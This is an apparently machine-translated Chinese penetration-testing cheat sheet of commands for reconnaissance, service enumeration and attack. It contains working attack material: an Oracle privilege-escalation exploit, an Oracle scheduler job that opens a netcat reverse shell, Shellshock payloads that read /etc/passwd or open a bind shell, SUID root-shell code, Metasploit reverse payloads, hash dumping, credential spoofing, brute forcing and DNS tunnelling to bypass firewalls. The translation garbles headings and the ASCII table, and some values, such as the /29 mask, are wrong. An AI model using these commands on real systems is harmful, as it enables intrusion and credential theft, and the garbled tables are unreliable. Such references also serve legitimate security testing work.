滲透測試工具作弊表,典型穿透測試工作的快速參考高級概述。設計為快速參考作弊表,提供執行滲透測試時將運行的典型命令的高級概述。對於更深入的信息,我會從右側的菜單中推薦該工具的man文件或更具體的筆測試作弊表。
該作弊表的重點是基礎架構/網絡滲透測試,除了最後的幾個sqlmap命令和一些Web伺服器枚舉之外,Web應用程式滲透測試不在此處。
更新日誌17/02/2017 - 文章更新,加載更多內容,VPN,DNS隧道,VLAN跳躍等 - 查看下面的TOC。
介紹
預嚙合
OSINT
DNS
WHOIS枚舉
執行DNS IP查找
執行MX記錄查找
用DIG執行區域傳輸
被動信息收集
DNS區域轉移
DNS暴力
埠掃描
DNSRecon
Nmap UDP掃描
UDP協議掃描器
其他主機發現
Nmap命令
基本手指印刷
橫幅抓NC
簡單電子郵件
電子郵件
半主動信息收集
活動信息收集
枚舉和攻擊網絡服務
TLS和SSL測試
漏洞評估
資料庫滲透測試
Bruteforce MSSQL登錄
Metasploit MSSQL Shell
指紋Oracle TNS版本
強力oracle用戶帳號
Oracle特權升級
使用NMAP NSE腳本識別oracle資料庫中的默認帳戶:
如何識別oracle用戶的當前權限級別:
Oracle priv esc並獲取DBA訪問權限:
使用select查詢運行漏洞:
刪除漏洞利用:
獲取Oracle Reverse os-shell:
神諭
MSSQL
網絡
攻擊機
IKEForce
IKE侵略模式PSK破解
PPTP黑客
步驟1:Idenitfy IKE伺服器
步驟2:使用IKEForce枚舉組名
步驟3:使用ike-scan來捕獲PSK散列
步驟4:使用psk-crack來破解PSK哈希
NMAP PPTP指紋:
PPTP字典攻擊
有級IP範圍
IPv4私有地址範圍
IPv4子網作弊表
SSH樞軸
Meterpreter樞軸
Plink.exe隧道
旋轉
TTL手指列印
IPv4作弊表
VLAN跳躍
VPN黑客
DNS隧道
BOF / Exploit
利用研究
利用貝殼
貓文件(查看文件內容)
Shell Shock運行綁定shell
殼牌反擊殼
搜索漏洞利用
在Kali編譯Windows漏洞
交叉編譯漏洞
利用常見的漏洞
簡單的本地Web伺服器
掛載文件共享
HTTP / HTTPS Web伺服器枚舉
包檢測
用戶名稱枚舉
密碼
強制服務
Hydra FTP暴力
九頭蛇POP3暴力
Hydra SMTP暴力
密碼破解
Windows滲透測試命令
Linux滲透測試命令
編譯漏洞
識別C代碼是否適用於Windows或Linux
構建利用GCC
GCC編譯32位攻擊64位Kali
在Linux上編譯Windows .exe
SUID二進位
反向殼牌
TTY Shells
Python TTY Shell Trick
Spawn交互式sh shell
Spawn Perl TTY Shell
Spawn Ruby TTY Shell
Spawn Lua TTY殼牌
來自Vi的Spawn TTY Shell
Spawn TTY Shell NMAP
Metasploit的
Meterpreter作弊表
常見的Metasploit模塊
ASCII表作弊表
CISCO IOS命令
加密
SQLMap示例
預嚙合網絡配置設置IP位址ifconfig eth0 xxx.xxx.xxx.xxx/24
子網劃分ipcalc xxx.xxx.xxx.xxx/24 ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT被動信息收集DNSWHOIS枚舉whois domain-name-here.com
執行DNS IP查找dig a domain-name-here.com @nameserver
執行MX記錄查找dig mx domain-name-here.com @nameserver
用DIG執行區域傳輸dig axfr domain-name-here.com @nameserver
DNS區域轉移命令描述nslookup -> set type=any -> ls -d blah.com
Windows DNS區域傳輸
dig axfr blah.com @ns1.blah.com
Linux DNS區域傳輸
電子郵件簡單電子郵件使用簡單的電子郵件枚舉所有在線的地方(github,目標網站等),如果您使用代理或設置較長的節流時間,Google將不會認為您是機器人,並填寫驗證碼,那麼它的效果會更好。
git clone https://github.com/killswitch-GUI/SimplyEmail.git./SimplyEmail.py -all -e TARGET-DOMAIN
簡單電子郵件可以在收集後驗證發現的電子郵件地址。
半主動信息收集基本手指印刷手動手指/橫幅抓取。
命令描述nc -v 192.168.1.1 25
telnet 192.168.1.1 25
通過顯示橫幅進行基本版本/手指列印
橫幅抓NCnc TARGET-IP 80GET / HTTP/1.1Host: TARGET-IPUser-Agent: Mozilla/5.0Referrer: meh-domain<enter>
活動信息收集DNS暴力DNSReconDNS枚舉Kali - DNSRecon
root:〜# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
埠掃描Nmap命令有關更多命令,請參閱Nmap作弊表(右側菜單中的連結)。
基本Nmap命令:
命令描述nmap -v -sS -A -T4 target
Nmap詳細掃描,運行syn隱身,T4定時(在LAN上應該可以),OS和服務版本信息,traceroute和腳本對服務
nmap -v -sS -p--A -T4 target
如上所述,掃描所有TCP埠(需要更長的時間)
nmap -v -sU -sS -p- -A -T4 target
如上所述,掃描所有TCP埠和UDP掃描(需要更長時間)
nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X
用於掃描易受攻擊的SMB伺服器的Nmap腳本 - 警告:不安全= 1可能會導致死機
ls /usr/share/nmap/scripts/* | grep ftp
搜索關鍵字的nmap腳本
Nmap UDP掃描nmap -sU TARGET
UDP協議掃描器git clone https://github.com/portcullislabs/udp-proto-scanner.git
掃描所有服務的IP位址文件:
./udp-protocol-scanner.pl -f ip.txt
掃描特定的UDP服務:
udp-proto-scanner.pl -p ntp -f ips.txt
其他主機發現主機發現的其他方法,不使用nmap ...
命令描述netdiscover -r 192.168.1.0/24
從ARP發現子網上的IP,MAC地址和MAC供應商,有助於確認您在$客戶端站點處於正確的VLAN
枚舉和攻擊網絡服務將專門識別和/或枚舉網絡服務的工具:
SAMB / SMB / Windows域枚舉桑巴枚舉SMB枚舉工具nmblookup -A targetsmbclient //MOUNT/share -I target -Nrpcclient -U "" targetenum4linux target
另請參閱,nbtscan作弊表(右手菜單)。
命令描述nbtscan 192.168.1.0/24
在子網上查找Windows / Samba伺服器,查找Windows MAC地址,netbios名稱並發現客戶端工作組/域
enum4linux -a target-ip
做一切,運行所有選項(查找Windows客戶端域/工作組)除了基於字典的共享名稱猜測
指紋SMB版本smbclient -L //192.168.1.100
查找打開的SMB共享nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
枚舉SMB用戶nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
RID騎自行車:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
用於RID循環的Metasploit模塊:
use auxiliary/scanner/smb/smb_lookupsid
手動空會話測試:視窗:
net use \\TARGET\IPC$ "" /u:""
Linux的:
smbclient -L //192.168.99.131
NBTS可以unixwiz安裝在卡利滾動:
apt-get install nbtscan-unixwiz nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
LLMNR / NBT-NS欺騙從網絡竊取憑據。
Metasploit LLMNR / NetBIOS請求欺騙/毒藥LLMNR / NetBIOS請求:
auxiliary/spoof/llmnr/llmnr_responseauxiliary/spoof/nbns/nbns_response
捕獲散列:
auxiliary/server/capture/smbauxiliary/server/capture/http_ntlm
你最終會遇到NTLMv2哈希,使用john或者hashcat來破解它。
Responder.py或者,您可以使用響應者。
git clone https://github.com/SpiderLabs/Responder.gitpython Responder.py -i local-ip -I eth0
運行Responder.py進行整個交互在處理其他攻擊向量時,請運行Responder.py來達成一致。
SNMP枚舉修復SNMP輸出值,使其可讀取:
apt-get install snmp-mibs-downloader download-mibsecho "" > /etc/snmp/snmp.conf
命令描述snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
SNMP枚舉SNMPv3枚舉帶有nmap的Idenitfy SNMPv3伺服器:
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune的snmpwalk包裝腳本有助於自動化SNMPv3的用戶名列表過程:
apt-get install snmp snmp-mibs-downloaderwget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
使用Metasploits WordlistMetasploit的wordlist(以下的KALI路徑)具有SNMP v1 v1和v2的共同憑據,對於較新的憑據,請查看Daniel Miessler在GitHub上的SecLists項目(不是郵件列表!)。
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
R服務枚舉這是遺產,包括為完整性。
nmap -A將執行下面列出的所有rservices枚舉,此部分是為了完整性或手動確認而添加的:
RSH枚舉RSH運行命令rsh <target> <command>
Metasploit RSH登錄掃描儀auxiliary/scanner/rservices/rsh_login
rusers顯示登錄用戶rusers -al 192.168.2.1
rusers掃描整個子網rlogin -l <user> <target>
例如rlogin -l root TARGET-SUBNET / 24
手指枚舉finger @TARGET-IP
指定特定用戶名finger batman@TARGET-IP
顯示所有登錄用戶的Solaris錯誤:finger 0@host SunOS: RPC services allow user enum:$ rusers # users logged onto LANfinger 'a b c d e f g h'@sunhost
rwho中使用nmap來識別運行rwhod(513 UDP)的機器
TLS和SSL測試testssl.sh測試單個主機上的所有內容並輸出到.html文件:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
漏洞評估在Kali上安裝OpenVAS 8滾動:
apt-get updateapt-get dist-upgrade -yapt-get install openvasopenvas-setup
驗證openvas正在運行:
netstat -tulpn
登錄https://127.0.0.1:9392 - 憑據在openvas-setup期間生成。
資料庫滲透測試攻擊在網絡上暴露的資料庫伺服器。
神諭安裝示波器:
apt-get install oscanner
運行示波器:
oscanner -s 192.168.1.200 -P 1521
指紋Oracle TNS版本安裝tnscmd10g:
apt-get install tnscmd10g
指紋oracle tns:
tnscmd10g version -h TARGETnmap --script=oracle-tns-version
強力oracle用戶帳號識別默認Oracle帳戶:
nmap --script=oracle-sid-brute nmap --script=oracle-brute
對Oracle TNS運行nmap腳本:
nmap -p 1521 -A TARGET
Oracle特權升級要求:
Oracle需要在網絡上公開
默認帳戶正在使用,如scott
快速概述如何運作:
創建功能
在表SYS.DUAL上創建一個索引
我們剛剛創建的索引執行我們的函數SCOTT.DBA_X
該功能將由SYS用戶執行(因為該用戶擁有該表)。
創建一個帳戶與DBA priveleges
在下面的示例中,用戶SCOTT被使用,但是應該可以使用另一個默認的Oracle帳戶。
使用NMAP NSE腳本識別oracle資料庫中的默認帳戶:nmap --script=oracle-sid-brute nmap --script=oracle-brute
使用識別的弱帳戶登錄(假設您找到一個)。
如何識別oracle用戶的當前權限級別:SQL> select * from session_privs; SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid curren_user is pragma autonomous_transaction; begin execute immediate 'grant dba to user1 identified by pass1';commit;return 'FOO';end;
Oracle priv esc並獲取DBA訪問權限:運行netcat:netcat -nvlp 443code>
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
使用select查詢運行漏洞:SQL> Select * from session_privs;
您應該有一個具有creds user1和pass1的DBA用戶。
通過重新運行第一個命令,驗證您是否具有DBA權限。
刪除漏洞利用:drop index exploit_1337;
獲取Oracle Reverse os-shell:begindbms_scheduler.create_job( job_name => 'MEH1337',job_type => 'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date => SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE); dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');dbms_scheduler.enable('rev_shell'); end;
MSSQL枚舉/發現:
NMAP:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Metasploit的:
msf > use auxiliary/scanner/mssql/mssql_ping
使用MS SQL Server瀏覽更多嘗試使用「瀏覽更多」通過MS SQL Server Management Studio
Bruteforce MSSQL登錄msf > use auxiliary/admin/mssql/mssql_enum
Metasploit MSSQL Shellmsf > use exploit/windows/mssql/mssql_payloadmsf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
網絡Plink.exe隧道PuTTY Link隧道
將遠程埠轉發到本地地址:
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
旋轉SSH樞軸ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
在/etc/proxychains.conf中添加socks4 127.0.0.1 1010
SSH從一個網絡轉向另一個網絡:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
在/etc/proxychains.conf中添加socks4 127.0.0.1 1010
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
在/etc/proxychains.conf中添加socks4 127.0.0.1 1011
Meterpreter樞軸TTL手指列印作業系統TTL大小視窗
128
Linux的
64
的Solaris
255
思科/網絡
255
IPv4作弊表有級IP範圍例如A,B,C(折舊)
類IP位址範圍A類IP位址範圍
0.0.0.0 - 127.255.255.255
B類IP位址範圍
128.0.0.0 - 191.255.255.255
C類IP位址範圍
192.0.0.0 - 223.255.255.255
D類IP位址範圍
224.0.0.0 - 239.255.255.255
E類IP位址範圍
240.0.0.0 - 255.255.255.255
IPv4私有地址範圍類範圍A類私人地址範圍
10.0.0.0 - 10.255.255.255
B類私人地址範圍
172.16.0.0 - 172.31.255.255
C類私人地址範圍
192.168.0.0 - 192.168.255.255
127.0.0.0 - 127.255.255.255
IPv4子網作弊表CIDR小數面膜主機數量/ 31
255.255.255.254
1 Host
/ 30
255.255.255.252
2 Hosts
/ 29
255.255.255.249
6 Hosts
/ 28
255.255.255.240
14 Hosts
/ 27
255.255.255.224
30 Hosts
/ 26
255.255.255.192
62 Hosts
/ 25
255.255.255.128
126 Hosts
/ 24
255.255.255.0
254 Hosts
/ 23
255.255.254.0
512 Host
/ 22
255.255.252.0
1022 Hosts
/ 21
255.255.248.0
2046 Hosts
/ 20
255.255.240.0
4094 Hosts
/ 19
255.255.224.0
8190 Hosts
/ 18
255.255.192.0
16382 Hosts
/ 17
255.255.128.0
32766 Hosts
/ 16
255.255.0.0
65534 Hosts
/ 15
255.254.0.0
131070 Hosts
/ 14
255.252.0.0
262142 Hosts
/ 13
255.248.0.0
524286 Hosts
/ 12
255.240.0.0
1048674 Hosts
/ 11
255.224.0.0
2097150 Hosts
/ 10
255.192.0.0
4194302 Hosts
/ 9
255.128.0.0
8388606 Hosts
/ 8
255.0.0.0
16777214 Hosts
VLAN跳躍使用NCCGroups Yersina的VLAN封裝腳本簡化了過程。
git clone https://github.com/nccgroup/vlan-hopping.gitchmod 700 frogger.sh./frogger.sh
VPN黑客識別VPN伺服器:
./udp-protocol-scanner.pl -p ike TARGET(s)
掃描VPN伺服器的範圍:
./udp-protocol-scanner.pl -p ike -f ip.txt
IKEForce使用IKEForce枚舉或字典攻擊VPN伺服器。
安裝:
pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.git
使用IKEForce執行IKE VPN枚舉:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
使用IKEForce的Bruteforce IKE VPN:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scanike-scan TARGET-IPike-scan -A TARGET-IPike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
IKE侵略模式PSK破解識別VPN伺服器
枚舉使用IKEForce獲取組ID
使用ike-scan從IKE端點捕獲PSK散列
使用psk-crack來破解哈希
步驟1:Idenitfy IKE伺服器./udp-protocol-scanner.pl -p ike SUBNET/24
步驟2:使用IKEForce枚舉組名./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
步驟3:使用ike-scan來捕獲PSK散列ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
步驟4:使用psk-crack來破解PSK哈希psk-crack hash-file.txt
一些更高級的psk-crack選項如下:
pskcrackpsk-crack -b 5 TARGET-IPkeypsk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134keypsk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP黑客識別PPTP,它監聽TCP:1723
NMAP PPTP指紋:nmap –Pn -sV -p 1723 TARGET(S)
PPTP字典攻擊thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
DNS隧道通過DNS隧道傳輸數據以繞過防火牆。
dnscat2支持「下載」和「上傳」用於從目標機器獲取文件(數據和程序)的命令。
攻擊機製作安裝:
apt-get updateapt-get -y install ruby-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install
運行dnscat2:
ruby ./dnscat2.rbdnscat2> New session established: 1422dnscat2> session -i 1422
目標機:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>
BOF / Exploit利用研究查找枚舉主機/服務的漏洞。
命令描述searchsploit windows 2003 | grep -i local
搜索exploit-db for exploit,在這個例子中為windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3
使用谷歌搜索exploit-db.com的漏洞
grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*
搜索metasploit模塊使用grep - msf搜索有一點
搜索漏洞利用安裝exploit-db的本地副本:
searchsploit –u searchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local
在Kali編譯Windows漏洞wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe
交叉編譯漏洞gcc -m32 -o output32 hello.c (32 bit)gcc -m64 -o output hello.c (64 bit)
利用常見的漏洞利用貝殼用於查找和利用易受Shellshock攻擊的伺服器的工具:
git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
貓文件(查看文件內容)echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock運行綁定shellecho -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
殼牌反擊殼nc -l -p 443
簡單的本地Web伺服器Python本地Web伺服器命令,方便在攻擊機器上提供shell和exploit。
命令描述python -m SimpleHTTPServer 80
運行基本的http伺服器,非常適合提供shell等
python3 -m http.server
運行基本的Python3 http伺服器,非常適合提供shell等
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"
運行ruby webrick基本的http伺服器
php -S 0.0.0.0:80
運行基本的PHP http伺服器
掛載文件共享如何掛載NFS / CIFS,Windows和Linux文件共享。
命令描述mount 192.168.1.1:/vol/share /mnt/nfs
掛載NFS共享到 /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
在Linux上安裝Windows CIFS / SMB共享,/mnt/cifs如果您刪除密碼,它將在CLI上提示(更安全,因為它不會在bash_history中結束)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
從命令行在Windows上安裝Windows共享
apt-get install smb4k -y
在Kali上安裝smb4k,用於瀏覽SMB共享的有用的Linux GUI
HTTP / HTTPS Web伺服器枚舉命令描述nikto -h 192.168.1.1
對目標執行nikto掃描
dirbuster
通過GUI進行配置,CLI輸入大部分時間不起作用
包檢測命令描述tcpdump tcp port 80 -w output.pcap -i eth0
接口eth0上埠80的tcpdump輸出到output.pcap
用戶名稱枚舉一些技術用於遠程枚舉目標系統上的用戶。
SMB用戶枚舉命令描述python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
枚舉來自SMB的用戶
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
RID循環SMB /枚舉來自SMB的用戶
SNMP用戶枚舉命令描述snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d」 「 -f4
從SNMP中吸引用戶
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
從SNMP中吸引用戶
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
搜索具有nmap,grepable輸出的SNMP伺服器
密碼生詞命令描述/usr/share/wordlists
卡利詞列表
強制服務Hydra FTP暴力命令描述hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Hydra FTP暴力
九頭蛇POP3暴力命令描述hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
九頭蛇POP3暴力
Hydra SMTP暴力命令描述hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
九頭蛇SMTP暴力
使用-t限制並發連接,例如:-t 15
密碼破解約翰開膛手 - JTR命令描述john --wordlist=/usr/share/wordlists/rockyou.txt hashes
JTR密碼破解
john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt
JTR強制用wordlist進行破解
john --format=descrypt hash --show
JTR強制描述強力開裂
Windows滲透測試命令請參閱Windows滲透測試命令。
Linux滲透測試命令有關Linux滲透測試命令的列表,請參閱Linux命令作弊表(右鍵菜單),對本地系統枚舉有用。
編譯漏洞關於編譯漏洞的一些注釋。
識別C代碼是否適用於Windows或LinuxC #include將指出應該使用哪個作業系統來構建漏洞。
命令描述process.h, string.h, winbase.h, windows.h, winsock2.h
Windows漏洞利用代碼
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Linux漏洞代碼
構建利用GCC編譯漏洞gcc
命令描述gcc -o exploit exploit.c
基本GCC編譯
GCC編譯32位攻擊64位Kali用於在64位攻擊機上交叉編譯32位二進位文件。
命令描述gcc -m32 exploit.c -o exploit
在64位Linux上交叉編譯32位二進位文件
在Linux上編譯Windows .exe在Linux上構建/編譯Windows漏洞,導致一個.exe文件。
命令描述i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
在Linux上編譯windows .exe
SUID二進位通常,SUID C二進位文件需要以超級用戶身份生成shell,您可以根據需要更新UID / GID和shell。
以下是各種貝殼的一些快速複製和例子:
SUID C Shell / bin / bashint main(void){ setresuid(0, 0, 0); system("/bin/bash");}
SUID C Shell / bin / shint main(void){ setresuid(0, 0, 0); system("/bin/sh");}
構建SUID Shell二進位文件gcc -o suid suid.c
對於32位:
gcc -m32 -o suid suid.c
反向殼牌有關有用的反向Shell的列表,請參閱反向Shell作弊表。
TTY Shells從Linux中的有限外殼生成TTY shell的技巧/技巧,對於運行像su反向shell 這樣的命令非常有用。
Python TTY Shell Trickpython -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
Spawn交互式sh shell/bin/sh -i
Spawn Perl TTY Shellexec "/bin/sh";perl —e 'exec "/bin/sh";'
Spawn Ruby TTY Shellexec "/bin/sh"
Spawn Lua TTY殼牌os.execute('/bin/sh')
來自Vi的Spawn TTY Shell從vi運行shell命令:
:!bash
Spawn TTY Shell NMAP!sh
Metasploit的一些基本的Metasploit的東西,我已經找到方便的參考。
基本Metasploit命令,有助於參考,用於旋轉參見 - Meterpreter樞轉技術。
Meterpreter有效載荷Windows反向計量器有效載荷命令描述set payload windows/meterpreter/reverse_tcp
Windows反向tcp有效載荷
Windows VNC Meterpreter有效載荷命令描述set payload windows/vncinject/reverse_tcp
set ViewOnly false
Meterpreter Windows VNC有效載荷
Linux反向Meterpreter有效載荷命令描述set payload linux/meterpreter/reverse_tcp
Meterpreter Linux反向有效負載
Meterpreter作弊表有用的抄表命令。
命令描述upload file c:\\windows
Meterpreter將文件上傳到Windows目標
download c:\\windows\\repair\\sam /tmp
Meterpreter從Windows目標下載文件
download c:\\windows\\repair\\sam /tmp
Meterpreter從Windows目標下載文件
execute -f c:\\windows\temp\exploit.exe
Meterpreter在目標上運行.exe,方便執行上傳的漏洞利用
execute -f cmd -c
用cmd shell創建新通道
ps
儀表顯示過程
shell
Meterpreter在目標上獲取shell
getsystem
Meterpreter嘗試特權升級目標
hashdump
Meterpreter嘗試將哈希值轉儲到目標上
portfwd add –l 3389 –p 3389 –r target
Meterpreter將埠創建到目標機器
portfwd delete –l 3389 –p 3389 –r target
Meterpreter向前刪除埠
常見的Metasploit模塊頂層metasploit模塊。
遠程Windows Metasploit模塊(exploits)命令描述use exploit/windows/smb/ms08_067_netapi
MS08_067 Windows 2k,XP,2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi
MS08_040 Windows NT,2k,XP,2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)遠程漏洞利用
本地Windows Metasploit模塊(exploits)命令描述use exploit/windows/local/bypassuac
在Windows 7上繞過UAC +設置目標+ arch,x86 / 64
輔助Metasploit模塊命令描述use auxiliary/scanner/http/dir_scanner
Metasploit HTTP目錄掃描器
use auxiliary/scanner/http/jboss_vulnscan
Metasploit JBOSS漏洞掃描器
use auxiliary/scanner/mssql/mssql_login
Metasploit MSSQL憑證掃描儀
use auxiliary/scanner/mysql/mysql_version
Metasploit MSSQL版本掃描儀
use auxiliary/scanner/oracle/oracle_login
Metasploit Oracle登錄模塊
Metasploit Powershell模塊命令描述use exploit/multi/script/web_delivery
Metasploit powershell有效載荷傳遞模塊
post/windows/manage/powershell/exec_powershell
Metasploit上傳並通過會話運行powershell腳本
use exploit/multi/http/jboss_maindeployer
Metasploit JBOSS部署
use exploit/windows/mssql/mssql_payload
Metasploit MSSQL有效載荷
後利用Windows Metasploit模塊Windows Metasploit模塊用於特權升級。
命令描述run post/windows/gather/win_privs
Metasploit顯示當前用戶的特權
use post/windows/gather/credentials/gpp
Metasploit抓GPP保存密碼
load mimikatz -> wdigest
Metasplit負載Mimikatz
run post/windows/gather/local_admin_search_enum
Idenitfy提供的域用戶具有管理訪問權限的其他計算機
run post/windows/gather/smart_hashdump
自動轉儲sam文件,嘗試esc權限等
ASCII表作弊表有用的Web應用程式滲透測試,或者如果您在火星上擱淺,需要與NASA進行通信。
ASCII字符x00
空字節
x08
BS
x09
標籤
x0a
LF
x0d
CR
x1b
退出
x20
SPC
x21
!
x22
「
x23
#
x24
$
x25
%
x26
&
x27
`
x28
(
x29
)
x2a
*
x2b
+
x2c
,
x2d
-
x2e
。
x2f
/
x30
0
x31
1
x32
2
x33
3
x34
4
x35
五
x36
6
x37
7
x38
8
x39
9
x3a
:
x3b
;
x3c
<
x3d
=
x3e
>
x3f
?
x40
@
x41
一個
x42
乙
x43
C
x44
ð
x45
Ë
x46
F
x47
G
x48
H
x49
一世
x4a
Ĵ
x4b
ķ
x4c
大號
x4d
中號
x4e
ñ
x4f
Ø
x50
P
x51
Q
x52
[R
x53
小號
x54
Ť
x55
ü
x56
V
x57
w ^
x58
X
x59
ÿ
x5a
ž
x5b
[
x5c
\
x5d
]
x5e
^
x5f
_
x60
`
x61
一個
x62
b
x63
C
x64
ð
x65
Ë
x66
F
x67
G
x68
H
x69
一世
x6a
Ĵ
x6b
ķ
x6c
升
x6d
米
x6e
ñ
x6f
Ø
x70
p
x71
q
x72
[R
x73
小號
x74
Ť
x75
ü
x76
v
x77
w ^
x78
X
x79
ÿ
x7a
ž
CISCO IOS命令一組有用的Cisco IOS命令。
命令描述enable
進入啟用模式
conf t
短路,配置終端
(config)# interface fa0/0
配置FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255
將ip添加到fa0 / 0
(config-if)# ip addr 0.0.0.0 255.255.255.255
將ip添加到fa0 / 0
(config-if)# line vty 0 4
配置vty行
(config-line)# login
思科設置telnet密碼
(config-line)# password YOUR-PASSWORD
設置telnet密碼
# show running-config
顯示內存中加載的運行配置
# show startup-config
顯示sartup配置
# show version
顯示cisco IOS版本
# show session
顯示開放會話
# show ip interface
顯示網絡接口
# show interface e0
顯示詳細的界面信息
# show ip route
顯示路線
# show access-lists
顯示訪問列表
# dir file systems
顯示可用的文件
# dir all-filesystems
文件信息
# dir /all
SHOW已刪除的文件
# terminal length 0
終端輸出無限制
# copy running-config tftp
複製運行配置到tftp伺服器
# copy running-config startup-config
將startup-config複製到running-config
加密哈希長度哈希尺寸MD5哈希長度
16 Bytes
SHA-1哈希長度
20 Bytes
SHA-256哈希長度
32 Bytes
SHA-512哈希長度
64 Bytes
哈希示例可能只是使用哈希標識符,但這裡有一些示例散列:
哈希例MD5哈希示例
8743b52063cd84097a65d1633f5c74f5
MD5 $ PASS:$ SALT示例
01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $ SALT:$ PASS
f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1哈希示例
b89eaac7e61417341b710b727768294d0e6a277b
SHA1 $ PASS:$ SALT
2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $ SALT:$ PASS
cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256
127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $ PASS:$ SALT
c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $ SALT:$ PASS
eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-512
82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $ PASS:$ SALT
e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
